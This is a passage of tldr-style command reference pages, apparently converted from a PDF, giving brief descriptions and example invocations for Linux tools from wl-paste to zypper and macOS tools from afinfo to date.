• Paste the contents of the clipboard:

wl-paste

• Paste the contents of the clipboard and then clear it:

wl-paste --paste-once

• Write the contents of the clipboard to a file:

wl-paste > {{path/to/file}}

• Pipe the contents of the clipboard to a command:

wl-paste | {{command}}

• Clear the clipboard:

wl-paste --clear
wmctrl
CLI for X Window Manager.

More information: https://manned.org/wmctrl.

• List all windows, managed by the window manager:

wmctrl -l

• Switch to the first window whose (partial) title matches:

wmctrl -a {{window_title}}

• Move a window to the current workspace, raise it and give it focus:

wmctrl -R {{window_title}}

• Switch to a workspace:

wmctrl -s {{workspace_number}}

• Select a window and toggle fullscreen:

wmctrl -r {{window_title}} -b toggle,fullscreen

• Select a window a move it to a workspace:

wmctrl -r {{window_title}} -t {{workspace_number}}


wodim
Command (aliased as cdrecord on some systems) for recording data to CDs or DVDs.

Some invocations of wodim can cause destructive actions, such as erasing all the data
on a disc.

More information: https://manned.org/wodim.

• Display optical drives available to wodim:

wodim --devices

• Record ("burn") an audio-only disc:

wodim dev=/dev/{{optical_drive}} -audio {{track*.cdaudio}}

• Burn a file to a disc, ejecting the disc once done (some recorders require this):

wodim -eject dev=/dev/{{optical_drive}} -data {{file.iso}}

• Burn a file to the disc in an optical drive, potentially writing to multiple discs in
succession:

wodim -tao dev=/dev/{{optical_drive}} -data {{file.iso}}


wol
Client for sending Wake-on-LAN magic packets.

More information: https://sourceforge.net/projects/wake-on-lan/.

• Send a WoL packet to a device:

wol {{mac_address}}

• Send a WoL packet to a device in another subnet based on its IP:

wol --ipaddr={{ip_address}} {{mac_address}}

• Send a WoL packet to a device in another subnet based on its hostname:

wol --host={{hostname}} {{mac_address}}

• Send a WoL packet to a specific port on a host:

wol --port={{port_number}} {{mac_address}}

• Read hardware addresses, IP addresses/hostnames, optional ports and SecureON


passwords from a file:

wol --file={{path/to/file}}

• Turn on verbose output:

wol --verbose {{mac_address}}


wpa_cli
Add and configure wlan interfaces.

• Scan for available networks:

wpa_cli scan

• Show scan results:

wpa_cli scan_results

• Add a network:

wpa_cli add_network {{number}}

• Set a network's SSID:

wpa_cli set_network {{number}} ssid "{{SSID}}"

• Enable network:

wpa_cli enable_network {{number}}

• Save config:

wpa_cli save_config
wpa_passphrase
Generate a WPA-PSK key from an ASCII passphrase for a given SSID.

• Compute and display the WPA-PSK key for a given SSID reading the passphrase
from stdin:

wpa_passphrase {{SSID}}

• Compute and display WPA-PSK key for a given SSID specifying the passphrase as
an argument:

wpa_passphrase {{SSID}} {{passphrase}}


wtf
Show the expansions of acronyms.

More information: https://manpages.debian.org/bsdgames/wtf.6.en.html.

• Expand a given acronym:

wtf {{IMO}}

• Specify a computer related search type:

wtf -t {{comp}} {{WWW}}


x0vncserver
TigerVNC Server for X displays.

More information: https://tigervnc.org/doc/x0vncserver.html.

• Start a VNC server using a passwordfile:

x0vncserver -display {{:0}} -passwordfile {{path/to/file}}

• Start a VNC server using a specific port:

x0vncserver -display {{:0}} -rfbport {{port}}


x11vnc
A VNC server that will enable VNC on an existing display server.

By default, the server will automatically terminate once all clients disconnect from it.

• Launch a VNC server that allows multiple clients to connect:

x11vnc -shared

• Launch a VNC server in view-only mode, and which won't terminate once the last
client disconnects:

x11vnc -forever -viewonly

• Launch a VNC server on a specific display and screen (both starting at index zero):

x11vnc -display :{{display}}.{{screen}}

• Launch a VNC server on the third display's default screen:

x11vnc -display :{{2}}

• Launch a VNC server on the first display's second screen:

x11vnc -display :{{0}}.{{1}}


xbacklight
Utility to adjust backlight brightness using the RandR extension.

More information: https://gitlab.freedesktop.org/xorg/app/xbacklight.

• Get the current screen brightness as a percentage:

xbacklight

• Set the screen brightness to 40%:

xbacklight -set {{40}}

• Increase current brightness by 25%:

xbacklight -inc {{25}}

• Decrease current brightness by 75%:

xbacklight -dec {{75}}

• Increase backlight to 100%, over 60 seconds (value given in ms), using 60 steps:

xbacklight -set {{100}} -time {{60000}} -steps {{60}}


xbps
The X Binary Package System (or xbps) is the binary package system used by Void Linux.

More information: https://github.com/void-linux/xbps.

• Install packages and synchronize them with the remote repository:

xbps-install --sync {{package_name1}} {{package_name2}}

• Search for a package in the remote repository:

xbps-query --repository -s {{package_name}}

• Remove a package, leaving all of its dependencies installed:

xbps-remove {{package_name}}

• Remove a package and all of its dependencies recursively that are not required by
other packages:

xbps-remove --recursive {{package_name}}

• Synchronize your repository databases and update your system and dependencies:

xbps-install --sync --update

• Remove packages that were installed as dependencies and aren't currently needed:

xbps-remove --remove-orphans

• Remove obsolete packages from the cache:

xbps-remove --clean-cache
xclip
X11 clipboard manipulation tool, similar to xsel.

Handles the X primary and secondary selections, plus the system clipboard (Ctrl + C/
Ctrl + V).

• Copy the output from a command to the X11 primary selection area (clipboard):

echo 123 | xclip

• Copy the output from a command to a given X11 selection area:

echo 123 | xclip -selection {{primary|secondary|clipboard}}

• Copy the output from a command to the system clipboard, using short notation:

echo 123 | xclip -sel clip

• Copy the contents of a file into the system clipboard:

xclip -sel clip {{input_file.txt}}

• Copy the contents of a PNG into the system clipboard (can be pasted in other
programs correctly):

xclip -sel clip -t image/png {{input_file.png}}

• Copy the user input in the console into the system clipboard:

xclip -i

• Paste the contents of the X11 primary selection area to the console:

xclip -o

• Paste the contents of the system clipboard to the console:

xclip -o -sel clip


xclock
Display the time in analog or digital form.

• Display an analog clock:

xclock

• Display a 24-hour digital clock with the hour and minute fields only:

xclock -digital -brief

• Display a digital clock using an strftime format string (see strftime(3)):

xclock -digital -strftime {{format}}

• Display a 24-hour digital clock with the hour, minute and second fields that
updates every second:

xclock -digital -strftime '%H:%M:%S' -update 1

• Display a 12-hour digital clock with the hour and minute fields only:

xclock -digital -twelve -brief


xcowsay
Display a cute cow and message on your Linux desktop.

The cow is displayed for either a fixed amount of time, or an amount of time calculated
from the size of the text. Click on the cow to dismiss it immediately.

More information: https://www.doof.me.uk/xcowsay/.

• Display a cow saying "hello, world":

xcowsay "{{hello, world}}"

• Display a cow with output from another command:

ls | xcowsay

• Display a cow at the specified X and Y coordinates:

xcowsay --at={{X}},{{Y}}

• Display a different sized cow:

xcowsay --cow-size={{small|med|large}}

• Display a thought bubble instead of a speech bubble:

xcowsay --think

• Display a different image instead of the default cow:

xcowsay --image={{path/to/file}}
xcursorgen
Create an X cursor file from a collection of PNGs.

If --prefix is omitted, the image files must be located in the current working
directory.

More information: https://manned.org/xcursorgen.

• Create an X cursor file using a config file:

xcursorgen {{path/to/config.cursor}} {{path/to/output_file}}

• Create an X cursor file using a config file and specify the path to the image files:

xcursorgen --prefix {{path/to/image_directory/}} {{path/to/


config.cursor}} {{path/to/output_file}}

• Create an X cursor file using a config file and write the output to stdout:

xcursorgen {{path/to/config.cursor}}
xdg-mime
Query and manage MIME types according to the XDG standard.

More information: https://portland.freedesktop.org/doc/xdg-mime.html.

• Display the MIME type of a file:

xdg-mime query filetype {{path/to/file}}

• Display the default application for opening PNGs:

xdg-mime query default {{image/png}}

• Display the default application for opening a specific file:

xdg-mime query default $(xdg-mime query filetype {{path/to/


file}})

• Set imv as the default application for opening PNG and JPEG images:

xdg-mime default {{imv.desktop}} {{image/png}} {{image/jpeg}}


xdg-open
Opens a file or URL in the user's preferred application.

More information: https://man.archlinux.org/man/xdg-open.1.

• Open the current directory in the default file explorer:

xdg-open .

• Open a URL in the default browser:

xdg-open {{https://example.com}}

• Open an image in the default image viewer:

xdg-open {{path/to/image}}

• Open a PDF in the default PDF viewer:

xdg-open {{path/to/pdf}}

• Display help:

xdg-open --help
xdg-user-dirs-update
Update XDG user directories.

More information: https://manned.org/xdg-user-dirs-update.

• Change XDG's DESKTOP directory to the specified directory (must be absolute):

xdg-user-dirs-update --set DESKTOP "{{path/to/directory}}"

• Write the result to the specified dry-run-file instead of the user-dirs.dirs file:

xdg-user-dirs-update --dummy-output "{{path/to/


dry_run_file}}" --set {{xdg_user_directory}} "{{path/to/
directory}}"
xdotool
Command-line automation for X11.

• Retrieve the X-Windows window ID of the running Firefox window(s):

xdotool search --onlyvisible --name {{firefox}}

• Click the right mouse button:

xdotool click {{3}}

• Get the ID of the currently active window:

xdotool getactivewindow

• Focus on the window with ID of 12345:

xdotool windowfocus --sync {{12345}}

• Type a message, with a 500ms delay for each letter:

xdotool type --delay {{500}} "Hello world"

• Press the enter key:

xdotool key {{KP_Enter}}


xeyes
Display eyes on the screen that follow the mouse cursor.

• Launch xeyes on the local machine's default display:

xeyes

• Launch xeyes on a remote machine's display 0, screen 0:

xeyes -display {{remote_host}}:{{0}}.{{0}}


xfce4-screenshooter
The XFCE4 screenshot tool.

More information: https://docs.xfce.org/apps/xfce4-screenshooter/start.

• Launch the screenshooter GUI:

xfce4-screenshooter

• Take a screenshot of the entire screen and launch the GUI to ask how to proceed:

xfce4-screenshooter --fullscreen

• Take a screenshot of the entire screen and save it in the specified directory:

xfce4-screenshooter --fullscreen --save {{path/to/directory}}

• Wait some time before taking the screenshot:

xfce4-screenshooter --delay {{seconds}}

• Take a screenshot of a region of the screen (select using the mouse):

xfce4-screenshooter --region

• Take a screenshot of the active window, and copy it to the clipboard:

xfce4-screenshooter --window --clipboard

• Take a screenshot of the active window, and open it with a chosen program:

xfce4-screenshooter --window --open {{gimp}}


xfce4-terminal
The XFCE4 terminal emulator.

More information: https://docs.xfce.org/apps/xfce4-terminal/start.

• Open a new terminal window:

xfce4-terminal

• Set the initial title:

xfce4-terminal --initial-title "{{initial_title}}"

• Open a new tab in the current terminal window:

xfce4-terminal --tab

• Execute a command in a new terminal window:

xfce4-terminal --command "{{command_with_args}}"

• Keep the terminal around after the executed command finishes executing:

xfce4-terminal --command "{{command_with_args}}" --hold

• Open multiple new tabs, executing a command in each:

xfce4-terminal --tab --command "{{command_a}}" --tab --


command "{{command_b}}"
xfreerdp
Free Remote Desktop Protocol implementation.

More information: https://www.freerdp.com.

• Connect to a FreeRDP server:

xfreerdp /u:{{username}} /p:{{password}} /v:{{ip_address}}

• Connect to a FreeRDP server and activate audio output redirection using


sys:alsa device:

xfreerdp /u:{{username}} /p:{{password}} /v:{{ip_address}} /


sound:{{sys:alsa}}
xinput
List available input devices, query information about a device and change input device
settings.

• List all input devices:

xinput list

• Disable an input:

xinput disable {{id}}

• Enable an input:

xinput enable {{id}}

• Disconnect an input from its master:

xinput float {{id}}

• Reattach an input as slave to a master:

xinput reattach {{id}} {{master_id}}

• List settings of an input device:

xinput list-props {{id}}

• Change a setting of an input device:

xinput set-prop {{id}} {{setting_id}} {{value}}


xman
Manual page viewer for X Window System.

• Start xman in three-button window:

xman

• Open the manual page output stored in a given file:

xman -helpfile {{filename}}

• Show both manual page and directory:

xman -bothshown
xmount
Convert on-the-fly between multiple input and output hard disk image types with
optional write cache support.

Creates a virtual file system using FUSE (Filesystem in Userspace) that contains a virtual
representation of the input image.

More information: https://manned.org/xmount.

• Mount a .raw image file into a DMG container file:

xmount --in {{raw}} {{path/to/image.dd}} --out {{dmg}}


{{mountpoint}}

• Mount an EWF image file with write-cache support into a VHD file to boot from:

xmount --cache {{path/to/cache.ovl}} --in {{ewf}} {{path/to/


image.E??}} --out {{vhd}} {{mountpoint}}

• Mount the first partition at sector 2048 into a new .raw image file:

xmount --offset {{2048}} --in {{raw}} {{path/to/image.dd}} --


out {{raw}} {{mountpoint}}
xrandr
Set the size, orientation and/or reflection of the outputs for a screen.

More information: https://www.x.org/releases/current/doc/man/man1/xrandr.1.xhtml.

• Display the current state of the system (known screens, resolutions, ...):

xrandr --query

• Disable disconnected outputs and enable connected ones with default settings:

xrandr --auto

• Change the resolution and update frequency of DisplayPort 1 to 1920x1080, 60Hz:

xrandr --output {{DP1}} --mode {{1920x1080}} --rate {{60}}

• Set the resolution of HDMI2 to 1280x1024 and put it on the right of DP1:

xrandr --output {{HDMI2}} --mode {{1280x1024}} --right-of


{{DP1}}

• Disable the VGA1 output:

xrandr --output {{VGA1}} --off

• Set the brightness for LVDS1 to 50%:

xrandr --output {{LVDS1}} --brightness {{0.5}}


xrdb
X window server's resource database utility for Unix-like systems.

More information: https://www.x.org/releases/X11R7.7/doc/man/man1/xrdb.1.xhtml.

• Start xrdb in interactive mode:

xrdb

• Load values (e.g. style rules) from a resource file:

xrdb -load {{~/.Xresources}}

• Query the resource database and print currently set values:

xrdb -query
xsel
X11 selection and clipboard manipulation tool.

• Use a command's output as input of the clip[b]oard (equivalent to Ctrl + C):

echo 123 | xsel -ib

• Use the contents of a file as input of the clipboard:

cat {{file}} | xsel -ib

• Output the clipboard's contents into the terminal (equivalent to Ctrl + V):

xsel -ob

• Output the clipboard's contents into a file:

xsel -ob > {{file}}

• Clear the clipboard:

xsel -cb

• Output the X11 primary selection's contents into the terminal (equivalent to a
mouse middle-click):

xsel -op
xset
User preference utility for X.

More information: https://manned.org/xset.

• Disable the screensaver:

xset s off

• Set the screensaver to start after 60 minutes of inactivity:

xset s 3600 3600

• Disable DPMS (Energy Star) features:

xset -dpms

• Enable DPMS (Energy Star) features:

xset +dpms
xsetwacom
Command-line tool to change settings for Wacom pen tablets at runtime.

• List all the available Wacom devices. The device name is in the first column:

xsetwacom list

• Set Wacom area to specific screen. Get name of the screen with xrandr:

xsetwacom set "{{device_name}}" MapToOutput {{screen}}

• Set mode to relative (like a mouse) or absolute (like a pen) mode:

xsetwacom set "{{device_name}}" Mode "{{Relative|Absolute}}"

• Rotate the input (useful for tablet-PC when rotating screen) by 0|90|180|270
degrees from "natural" rotation:

xsetwacom set "{{device_name}}" Rotate {{none|half|cw|ccw}}

• Set button to only work when the tip of the pen is touching the tablet:

xsetwacom set "{{device_name}}" TabletPCButton "on"


xterm
A terminal emulator for the X Window System.

More information: https://manned.org/xterm.

• Open the terminal with a title of Example:

xterm -T {{Example}}

• Open the terminal in fullscreen mode:

xterm -fullscreen

• Open the terminal with a dark blue background and yellow foreground (font
color):

xterm -bg {{darkblue}} -fg {{yellow}}

• Open the terminal with 100 characters per line and 35 lines, in screen position
x=200px, y=20px:

xterm -geometry {{100}}x{{35}}+{{200}}+{{20}}

• Open the terminal using a Serif font and a font size equal to 20:

xterm -fa {{'Serif'}} -fs {{20}}


xtrlock
Lock the X display until the user supplies their password.

• Lock the display and show a padlock instead of the cursor:

xtrlock

• Display a blank screen as well as the padlock cursor:

xtrlock -b

• Fork the xtrlock process and return immediately:

xtrlock -f
xvfb-run
Run a command in a virtual X server environment.

More information: https://www.x.org/wiki/.

• Run the specified command in a virtual X server:

xvfb-run {{command}}

• Try to get a free server number, if the default (99) is not available:

xvfb-run --auto-servernum {{command}}

• Pass arguments to the Xvfb server:

xvfb-run --server-args "{{-screen 0 1024x768x24}}"


{{command}}
xwinwrap
Run a player or a program as desktop background.

More information: https://github.com/ujjwal96/xwinwrap.

• Run a video using mpv:

xwinwrap -b -nf -ov -- {{mpv}} -wid {{wid}} --loop --no-audio


--no-resume-playback --panscan={{1.0}} {{path/to/video.mp4}}

• Run a video in fullscreen using mpv:

xwinwrap -b -nf -fs -ov -- {{mpv}} -wid {{wid}} --loop --no-


audio --no-resume-playback --panscan={{1.0}} {{path/to/
video.mp4}}

• Run a video using mpv with 80% opacity:

xwinwrap -b -nf -ov -o 0.8 --- {{mpv}} -wid {{wid}} --loop --


no-audio --no-resume-playback --panscan={{1.0}} {{path/to/
video.mp4}}

• Run a video using mpv in a second monitor 1600x900 with 1920 offset on X-axis:

xwinwrap -g 1600x900+1920 -b -nf -ov -- {{mpv}} -wid {{wid}}


--loop --no-audio --no-resume-playback --panscan={{1.0}}
{{path/to/video.mkv}}
yaourt
Arch Linux utility for building packages from the Arch User Repository.

More information: https://linuxcommandlibrary.com/man/yaourt.

• Synchronize and update all packages (including AUR):

yaourt -Syua

• Install a new package (includes AUR):

yaourt -S {{package_name}}

• Remove a package and its dependencies (includes AUR packages):

yaourt -Rs {{package_name}}

• Search the package database for a keyword (including AUR):

yaourt -Ss {{package_name}}

• List installed packages, versions, and repositories (AUR packages will be listed
under the repository name 'local'):

yaourt -Q
yay
Yet Another Yogurt: A utility for Arch Linux to build and install packages from the Arch
User Repository.

Also see pacman.

More information: https://github.com/Jguer/yay.

• Interactively search and install packages from the repos and AUR:

yay {{package_name|search_term}}

• Synchronize and update all packages from the repos and AUR:

yay

• Synchronize and update only AUR packages:

yay -Sua

• Install a new package from the repos and AUR:

yay -S {{package_name}}

• Remove an installed package and both its dependencies and configuration files:

yay -Rns {{package_name}}

• Search the package database for a keyword from the repos and AUR:

yay -Ss {{keyword}}

• Remove orphaned packages (installed as dependencies but not required by any


package):

yay -Yc

• Show statistics for installed packages and system health:

yay -Ps
yetris
Clone of the game Tetris in the terminal.

More information: https://github.com/alexdantas/yetris.

• Start a Tetris game:

yetris

• Navigate the piece horizontally:

{{Left|Right}} arrow key

• Rotate the piece clockwise or counterclockwise:

{{x|z}}

• Hold a piece (only one allowed at a time):

• Soft drop the piece:

Down arrow key

• Hard drop the piece:

Spacebar

• Pause/unpause the game:

• Quit the game:

q
ytfzf
A POSIX script that helps you find and download videos and music.

More information: https://github.com/pystardust/ytfzf.

• Search for videos on YouTube with thumbnail previews:

ytfzf --show-thumbnails {{search_pattern}}

• Play only the audio of the first item in a loop:

ytfzf --audio-only --auto-select --loop {{search_pattern}}

• Download a video from the history:

ytfzf --download --choose-from-history

• Play all the music found in a search:

ytfzf --audio-only --select-all {{search_pattern}}

• See the trending videos in an external menu:

ytfzf --trending --ext-menu {{search_pattern}}

• Search on PeerTube instead of YouTube:

ytfzf --peertube {{search_pattern}}


yum
Package management utility for RHEL, Fedora, and CentOS (for older versions).

More information: https://manned.org/yum.

• Install a new package:

yum install {{package}}

• Install a new package and assume yes to all questions (also works with update,
great for automated updates):

yum -y install {{package}}

• Find the package that provides a particular command:

yum provides {{command}}

• Remove a package:

yum remove {{package}}

• Display available updates for installed packages:

yum check-update

• Upgrade installed packages to the newest available versions:

yum upgrade
zathura
A vim-like modal document viewer, with an integrated command line.

Make sure a backend is installed (poppler, PostScript, or DjVu).

More information: https://pwmt.org/projects/zathura/.

• Open a file:

zathura {{path/to/file}}

• Navigate left/up/down/right:

<H|J|K|L> or arrow keys

• Rotate:

• Invert Colors:

Ctrl + R

• Search for text by a given string:

/{{string}}

• Create/delete bookmarks:

:{{bmark|bdelete}} {{bookmark_name}}

• List bookmarks:

:blist
zegrep
Find extended regular expression patterns in compressed files using egrep.

More information: https://www.unix.com/man-page/freebsd/1/zegrep/.

• Search for extended regular expressions (supporting ?, +, {}, () and |) in a


compressed file (case-sensitive):

zegrep "{{search_pattern}}" {{path/to/file}}

• Search for extended regular expressions (supporting ?, +, {}, () and |) in a


compressed file (case-insensitive):

zegrep --ignore-case "{{search_pattern}}" {{path/to/file}}

• Search for lines that do not match a pattern:

zegrep --invert-match "{{search_pattern}}" {{path/to/file}}

• Print file name and line number for each match:

zegrep --with-filename --line-number "{{search_pattern}}"


{{path/to/file}}

• Search for lines matching a pattern, printing only the matched text:

zegrep --only-matching "{{search_pattern}}" {{path/to/file}}

• Recursively search files in a compressed file for a pattern:

zegrep --recursive "{{search_pattern}}" {{path/to/file}}


zenity
Display dialogs from the command-line/shell scripts.

Return user-inserted values or 1 if error.

More information: https://manned.org/zenity.

• Display the default question dialog:

zenity --question

• Display an info dialog displaying the text "Hello!":

zenity --info --text="{{Hello!}}"

• Display a name/password form and output the data separated by ";":

zenity --forms --add-entry="{{Name}}" --add-


password="{{Password}}" --separator="{{;}}"

• Display a file selection form in which the user can only select directories:

zenity --file-selection --directory

• Display a progress bar which updates its message every second and show a
progress percent:

{{(echo "#1"; sleep 1; echo "50"; echo "#2"; sleep 1; echo


"100")}} | zenity --progress
zgrep
Grep text patterns from files within compressed file (equivalent to grep -Z).

More information: https://manned.org/zgrep.

• Grep a pattern in a compressed file (case-sensitive):

zgrep {{pattern}} {{path/to/compressed/file}}

• Grep a pattern in a compressed file (case-insensitive):

zgrep -i {{pattern}} {{path/to/compressed/file}}

• Output count of lines containing matched pattern in a compressed file:

zgrep -c {{pattern}} {{path/to/compressed/file}}

• Display the lines which don’t have the pattern present (Invert the search
function):

zgrep -v {{pattern}} {{path/to/compressed/file}}

• Grep a compressed file for multiple patterns:

zgrep -e "{{pattern_1}}" -e "{{pattern_2}}" {{path/to/


compressed/file}}

• Use extended regular expressions (supporting ?, +, {}, () and |):

zgrep -E {{regular_expression}} {{path/to/file}}

• Print 3 lines of [C]ontext around, [B]efore, or [A]fter each match:

zgrep -{{C|B|A}} {{3}} {{pattern}} {{path/to/compressed/


file}}
zile
Zile is a lightweight clone of the Emacs text editor.

More information: https://www.gnu.org/software/zile/.

• Start a buffer for temporary notes, which won't be saved:

zile

• Open a file:

zile {{path/to/file}}

• Save a file:

Ctrl + X, Ctrl + S

• Quit:

Ctrl + X, Ctrl + C

• Open a file at a specified line number:

zile +{{line_number}} {{path/to/file}}

• Undo changes:

Ctrl + X, U
zramctl
Setup and control zram devices.

Use mkfs or mkswap to format zram devices to partitions.

More information: https://manned.org/zramctl.

• Check if zram is enabled:

lsmod | grep -i zram

• Enable zram with a dynamic number of devices (use zramctl to configure devices
further):

sudo modprobe zram

• Enable zram with exactly 2 devices:

sudo modprobe zram num_devices={{2}}

• Find and initialise the next free zram device to a 2 GB virtual drive using LZ4
compression:

sudo zramctl --find --size {{2GB}} --algorithm {{lz4}}

• List currently initialised devices:

zramctl
zypper
SUSE & openSUSE package management utility.

More information: https://en.opensuse.org/SDB:Zypper_manual.

• Synchronize list of packages and versions available:

zypper refresh

• Install a new package:

zypper install {{package}}

• Remove a package:

zypper remove {{package}}

• Upgrade installed packages to the newest available versions:

zypper update

• Search package via keyword:

zypper search {{keyword}}

• Show information related to configured repositories:

zypper repos --sort-by-priority


Osx
afinfo
Audio file metadata parser for OS X.

Built-in command of OS X.

More information: https://ss64.com/osx/afinfo.html.

• Display info of a given audio file:

afinfo {{path/to/file}}

• Print a one line description of the audio file:

afinfo -b {{path/to/file}}

• Print metadata info and contents of the audio file's InfoDictionary:

afinfo -i {{path/to/file}}

• Print output in XML format:

afinfo -x {{path/to/file}}

• Print warnings for the audio file if any:

afinfo --warnings {{path/to/file}}

• Display help for full usage:

afinfo -h
afplay
Command-line audio player.

More information: https://ss64.com/osx/afplay.html.

• Play a sound file (waits until playback ends):

afplay {{path/to/file}}

• Play a sound file at 2x speed (playback rate):

afplay --rate {{2}} {{path/to/file}}

• Play a sound file at half speed:

afplay --rate {{0.5}} {{path/to/file}}

• Play the first N seconds of a sound file:

afplay --time {{seconds}} {{path/to/file}}


airport
Wireless network configuration utility.

More information: https://ss64.com/osx/airport.html.

• Show current wireless status information:

airport -I

• Sniff wireless traffic on channel 1:

airport sniff {{1}}

• Scan for available wireless networks:

airport -s

• Disassociate from current airport network:

sudo airport -z
apachectl
Apache HTTP Server control interface for macOS.

More information: https://www.unix.com/man-page/osx/8/apachectl/.

• Start the org.apache.httpd launchd job:

apachectl start

• Stop the launchd job:

apachectl stop

• Stop, then start launchd job:

apachectl restart
applecamerad
Camera manager.

It should not be invoked manually.

• Start the daemon:

applecamerad
appsleepd
Provides app sleep services.

It should not be invoked manually.

• Start the daemon:

appsleepd
arch
Display the name of the system architecture, or run a command under a different
architecture.

See also uname.

More information: https://www.unix.com/man-page/osx/1/arch/.

• Display the system's architecture:

arch

• Run a command using x86_64:

arch -x86_64 {{command}}


archey
Simple tool for stylishly displaying system information.

More information: https://github.com/joshfinnie/archey-osx.

• Show system information:

archey

• Show system information without colored output:

archey --nocolor

• Show system information, using MacPorts instead of Homebrew:

archey --macports

• Show system information without IP address check:

archey --offline
as
Portable GNU assembler.

Primarily intended to assemble output from gcc to be used by ld.

More information: https://www.unix.com/man-page/osx/1/as/.

• Assemble a file, writing the output to a.out:

as {{file.s}}

• Assemble the output to a given file:

as {{file.s}} -o {{out.o}}

• Generate output faster by skipping whitespace and comment preprocessing.


(Should only be used for trusted compilers):

as -f {{file.s}}

• Include a given path to the list of directories to search for files specified in
.include directives:

as -I {{path/to/directory}} {{file.s}}
asr
Restore (copy) a disk image onto a volume.

The command name stands for Apple Software Restore.

More information: https://www.unix.com/man-page/osx/8/asr/.

• Restore a disk image to a target volume:

sudo asr restore --source {{image_name}}.dmg --target {{path/


to/volume}}

• Erase the target volume before restoring:

sudo asr restore --source {{image_name}}.dmg --target {{path/


to/volume}} --erase

• Skip verification after restoring:

sudo asr restore --source {{image_name}}.dmg --target {{path/


to/volume}} --noverify

• Clone volumes without the use of an intermediate disk image:

sudo asr restore --source {{path/to/volume}} --target {{path/


to/cloned_volume}}
avbdeviced
A service for managing Audio Video Bridging (AVB) devices.

It should not be invoked manually.

• Start the daemon:

avbdeviced
base64
Encode and decode using Base64 representation.

More information: https://www.unix.com/man-page/osx/1/base64/.

• Encode a file:

base64 --input={{plain_file}}

• Decode a file:

base64 --decode --input={{base64_file}}

• Encode from stdin:

echo -n {{plain_text}} | base64

• Decode from stdin:

echo -n {{base64_text}} | base64 --decode


bc
An arbitrary precision calculator language.

See also: dc.

More information: https://manned.org/man/freebsd-13.0/bc.1.

• Start an interactive session:

bc

• Start an interactive session with the standard math library enabled:

bc --mathlib

• Calculate an expression:

bc --expression='{{5 / 3}}'

• Execute a script:

bc {{path/to/script.bc}}

• Calculate an expression with the specified scale:

bc --expression='scale = {{10}}; {{5 / 3}}'

• Calculate a sine/cosine/arctangent/natural logarithm/exponential function using


mathlib:

bc --mathlib --expression='{{s|c|a|l|e}}({{1}})'
bird
This supports the syncing of iCloud and iCloud drive.

It should not be invoked manually.

• Start the daemon:

bird
bless
Set volume boot capability and startup disk options.

More information: https://ss64.com/osx/bless.html.

• Bless a volume with only Mac OS X or Darwin, and create the BootX and
boot.efi files as needed:

bless --folder "{{/Volumes/Mac OS X/System/Library/


CoreServices}}" --bootinfo --bootefi

• Set a volume containing either Mac OS 9 and Mac OS X to be the active volume:

bless --mount "{{/Volumes/Mac OS}}" --setBoot

• Set the system to NetBoot and broadcast for an available server:

bless --netboot --server {{bsdp://255.255.255.255}}

• Gather information about the currently selected volume (as determined by the
firmware), suitable for piping to a program capable of parsing Property Lists:

bless --info --plist


bnepd
A service that handles all Bluetooth network connections.

It should not be invoked manually.

• Start the daemon:

bnepd
brightness
Get and set the brightness level of all internal and certain external displays.

• Show current brightness:

brightness -l

• Set the brightness to 100%:

brightness {{1}}

• Set the brightness to 50%:

brightness {{0.5}}
caffeinate
Prevent macOS from sleeping.

More information: https://ss64.com/osx/caffeinate.html.

• Prevent from sleeping for 1 hour (3600 seconds):

caffeinate -u -t {{3600}}

• Prevent from sleeping until a command completes:

caffeinate -s {{command}}

• Prevent from sleeping until you type Ctrl-C:

caffeinate -i
cal
Prints calendar information.

More information: https://ss64.com/osx/cal.html.

• Display a calendar for the current month:

cal

• Display previous, current and next month:

cal -3

• Display a calendar for a specific month (1-12 or name):

cal -m {{month}}

• Display a calendar for the current year:

cal -y

• Display a calendar for a specific year (4 digits):

cal {{year}}

• Display a calendar for a specific month and year:

cal {{month}} {{year}}

• Display date of Easter (Western Christian churches) in a given year:

ncal -e {{year}}
carthage
A dependency management tool for Cocoa applications.

More information: https://github.com/Carthage/Carthage.

• Download the latest version of all dependencies mentioned in Cartfile, and build
them:

carthage update

• Update dependencies, but only build for iOS:

carthage update --platform ios

• Update dependencies, but don't build any of them:

carthage update --no-build

• Download and rebuild the current version of dependencies (without updating


them):

carthage bootstrap

• Rebuild a specific dependency:

carthage build {{dependency}}


cfprefsd
Provides preferences services (CFPreferences, NSUserDefaults).

It should not be invoked manually.

• Start the daemon:

cfprefsd
chflags
Change file or directory flags.

More information: https://ss64.com/osx/chflags.html.

• Set the hidden flag for a file:

chflags {{hidden}} {{path/to/file}}

• Unset the hidden flag for a file:

chflags {{nohidden}} {{path/to/file}}

• Recursively set the uchg flag for a directory:

chflags -R {{uchg}} {{path/to/directory}}

• Recursively unset the uchg flag for a directory:

chflags -R {{nouchg}} {{path/to/directory}}


cloudphotod
This synchronizes iCloud Photos.

It should not be invoked manually.

• Start the daemon:

cloudphotod
codesign
Create and manipulate code signatures for macOS.

More information: https://www.unix.com/man-page/osx/1/codesign/.

• Sign an application with a certificate:

codesign -s "{{My Company Name}}" {{path/to/App.app}}

• Verify the certificate of an application:

codesign -v {{path/to/App.app}}
coreaudiod
Service for Core Audio, Apple's audio system.

It should not be invoked manually.

More information: https://developer.apple.com/library/archive/documentation/


MusicAudio/Conceptual/CoreAudioOverview/WhatisCoreAudio/WhatisCoreAudio.html.

• Start the daemon:

coreaudiod
csrutil
Manage the System Integrity Protection configuration.

More information: https://ss64.com/osx/csrutil.html.

• Display the System Integrity Protection status:

csrutil status

• Disable the System Integrity Protection:

csrutil disable

• Enable the System Integrity Protection:

csrutil enable

• Display the list of allowed NetBoot sources:

csrutil netboot list

• Add an IPv4 address to the list of allowed NetBoot sources:

csrutil netboot add {{ip_address}}

• Reset the System Integrity Protection status and clear the NetBoot list:

csrutil clear
csshX
Cluster SSH tool for macOS.

More information: https://github.com/brockgr/csshx.

• Connect to multiple hosts:

csshX {{hostname1}} {{hostname2}}

• Connect to multiple hosts with a given SSH key:

csshX {{user@hostname1}} {{user@hostname2}} '--ssh_args' '-i


{{path/to/ssh_key.pem}}'

• Connect to a pre-defined cluster from /etc/clusters:

csshX cluster1
dark-mode
Control macOS dark mode from the command-line.

More information: https://github.com/sindresorhus/dark-mode.

• Toggle dark mode (turn it on if it's currently off, off if it's currently on):

dark-mode

• Turn dark mode on:

dark-mode on

• Turn dark mode off:

dark-mode off

• Check if dark mode is on:

dark-mode status
date
Set or display the system date.

More information: https://ss64.com/osx/date.html.

• Display the current date using the default locale's format:

date +"%c"

• Display the current date in UTC and ISO 8601 format:

date -u +"%Y-%m-%dT%H:%M:%SZ"

• Display the current date as a Unix timestamp (seconds since the Unix epoch):

date +%s

